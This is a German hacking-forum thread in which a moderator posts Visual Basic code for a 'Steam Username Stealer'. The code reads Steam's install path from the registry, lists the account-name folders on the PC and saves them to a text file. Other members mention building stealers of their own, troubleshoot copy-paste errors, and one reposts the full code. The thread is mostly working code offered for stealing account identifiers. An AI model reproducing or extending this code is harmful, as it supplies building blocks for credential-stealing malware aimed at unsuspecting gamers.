Hiermit könnt ihr ganz leicht alle auf dem PC gespeicherten Steam Benutzernamen auslesen.
Benötigte Funktionen (packt sie in ein Modul)
Code:
Public Function RegRead(Path As String) As String
On Error Resume Next
Dim ws As Object
On Local Error GoTo ErrHandler
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
ErrHandler:
RegRead = ""
End Function
Public Function GetFold(ByVal Path As String) As String
Dim ausgabe As String
Dim file As String
ausgabe = ""
file = Dir((Path), vbDirectory)
Do While file <> ""
file = Dir
If IsDir(Path & file) Then
ausgabe = ausgabe & "*" & file
End If
Loop
GetFold = ausgabe
End Function
Public Function IsDir(Path As String) As Boolean
On Local Error Resume Next
IsDir = CBool(GetAttr(Path) And vbDirectory)
On Local Error GoTo 0
End Function
Aufruf:
Code:
Dim sPath As String, sFolders() As String
sPath = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Valve\Steam\InstallPath") & "\SteamApps\"
sFolders = Split(GetFold(sPath), "*")
For i = 2 To UBound(sFolders) - 1
MsgBox sFolders(i) ' hier Benutzernamen verarbeiten
Next
Beispiel um Benutzernamen in einem String zu speichern und ihn in eine Datei zu schreiben
Code:
Dim sPath As String, sFolders() As String, sVar As String, FF As Integer
sPath = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Valve\Steam\InstallPath") & "\SteamApps\"
sFolders = Split(GetFold(sPath), "*")
For i = 2 To UBound(sFolders) - 1
If sVar = "" Then
sVar = "Benutzernamen: " & sfolders(i)
Else
sVar = sVar & ", " & sfolders(i)
End If
Next
FF = FreeFile
Open App.Path & "\usernames.txt" For Output As #FF
Print #FF, sVar
Close #FF
Viel Spaß beim Steam Username Stealer coden! xD
c0re _________________
Zuletzt bearbeitet von c0re_ am 18.03.2008, 16:10, insgesamt 2-mal bearbeitet
Jolo_ Coder
Anmeldedatum: 20.03.2007 Beiträge: 210
Verfasst am: 11.03.2008, 19:39
hehe so hab ich das bei meinem kommenden stealer auch gemacht
MfG Jolo _________________
the_gam3r_ Coder
Anmeldedatum: 09.02.2008 Beiträge: 89
Verfasst am: 11.03.2008, 20:20
bin ich so dumm oder wie
iwie kann ich die net printen omfg
Code:
Print #1, " & sFolders(i) & "
wtf?
c0re_ « Moderator »
Anmeldedatum: 28.11.2007 Beiträge: 425
Verfasst am: 11.03.2008, 20:36
Ja du bist so dumm.
Code:
Print #1, sFolders(i)
_________________
the_gam3r_ Coder
Anmeldedatum: 09.02.2008 Beiträge: 89
Verfasst am: 11.03.2008, 20:38
sub oder function nicht definiert ?
c0re_ « Moderator »
Anmeldedatum: 28.11.2007 Beiträge: 425
Verfasst am: 11.03.2008, 20:41
Vielleicht erst mal eine Datei öffnen? Oben hab ich noch was hinzugefügt. _________________
regenz11_ Coder
Anmeldedatum: 29.07.2007 Beiträge: 77
Verfasst am: 13.03.2008, 10:32
Ach der Source Code den du mir gegeben hast
Danke nochmal dafür !
Funzt echt Supi _________________
H4CK4 K1NG0_ Poster
Anmeldedatum: 05.02.2008 Beiträge: 146 Wohnort: Nähe von 127.0.0.1
Verfasst am: 18.03.2008, 15:47
Funktioniert irgendwie bei mir nicht.. Könnte jemand eine Fertige Source Posten?
MfG _________________
Marduk_ « Moderator »
Anmeldedatum: 17.06.2007 Beiträge: 389
Verfasst am: 18.03.2008, 15:49
H4CK4 K1NG0 hat Folgendes geschrieben:
Funktioniert irgendwie bei mir nicht.. Könnte jemand eine Fertige Source Posten?
MfG
Mit Sicherheit nicht!
Beschreib lieber was nicht geht, dann kann man dir auch helfen.
H4CK4 K1NG0_ Poster
Anmeldedatum: 05.02.2008 Beiträge: 146 Wohnort: Nähe von 127.0.0.1
Verfasst am: 18.03.2008, 15:56
Die Sub oder Function nicht definiert.. ? _________________
c0re_ « Moderator »
Anmeldedatum: 28.11.2007 Beiträge: 425
Verfasst am: 18.03.2008, 16:11
So, darfst dir den Code noch mal kopieren. _________________
Analegrande_ Tutorial Leser
Anmeldedatum: 23.11.2007 Beiträge: 47
Verfasst am: 19.03.2008, 21:41
Vielen Dank =)
igoe Gast
Verfasst am: 19.03.2008, 22:37
wollt mich mal für denn source bedanken
Blackey_ Newbie
Anmeldedatum: 09.12.2007 Beiträge: 9
Verfasst am: 22.03.2008, 09:33
leute is doch echt easy going
folgendes als modul reinhauen:
Code:
Public Function RegRead(Path As String) As String
On Error Resume Next
Dim ws As Object
On Local Error GoTo ErrHandler
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
ErrHandler:
RegRead = ""
End Function
Public Function GetFold(ByVal Path As String) As String
Dim ausgabe As String
Dim file As String
ausgabe = ""
file = Dir((Path), vbDirectory)
Do While file <> ""
file = Dir
If IsDir(Path & file) Then
ausgabe = ausgabe & "*" & file
End If
Loop
GetFold = ausgabe
End Function
Public Function IsDir(Path As String) As Boolean
On Local Error Resume Next
IsDir = CBool(GetAttr(Path) And vbDirectory)
On Local Error GoTo 0
End Function
soo, jetzt in eurer form n button erstellen und mit folgendem befehl "binden":
Code:
Dim sPath As String, sFolders() As String
sPath = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Valve\Steam\InstallPath") & "\SteamApps\"
sFolders = Split(GetFold(sPath), "*")
For i = 2 To UBound(sFolders) - 1
MsgBox sFolders(i) ' hier Benutzernamen verarbeiten
Next
und/oder
Code:
Dim sPath As String, sFolders() As String, sVar As String, FF As Integer
sPath = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Valve\Steam\InstallPath") & "\SteamApps\"
sFolders = Split(GetFold(sPath), "*")
For i = 2 To UBound(sFolders) - 1
If sVar = "" Then
sVar = "Benutzernamen: " & sFolders(i)
Else
sVar = sVar & ", " & sFolders(i)
End If
Next
FF = FreeFile
Open App.Path & "\usernames.txt" For Output As #FF
Print #FF, sVar
Close #FF
aber mal ehrlich, wer copy paste nicht schafft... das ist irgendwie schwach
danke übrigens ;D _________________
klopower Newbie
Anmeldedatum: 07.07.2010 Beiträge: 5
Verfasst am: 09.07.2010, 12:19
Nice code... sehr cool^^
Brauch das net wirklich ... (zum lernen aber dann schon!
hat mir viel geholfen! _________________ Programmiern macht spaß! Aber nur wenn man kein dummes script kiddie ist!!!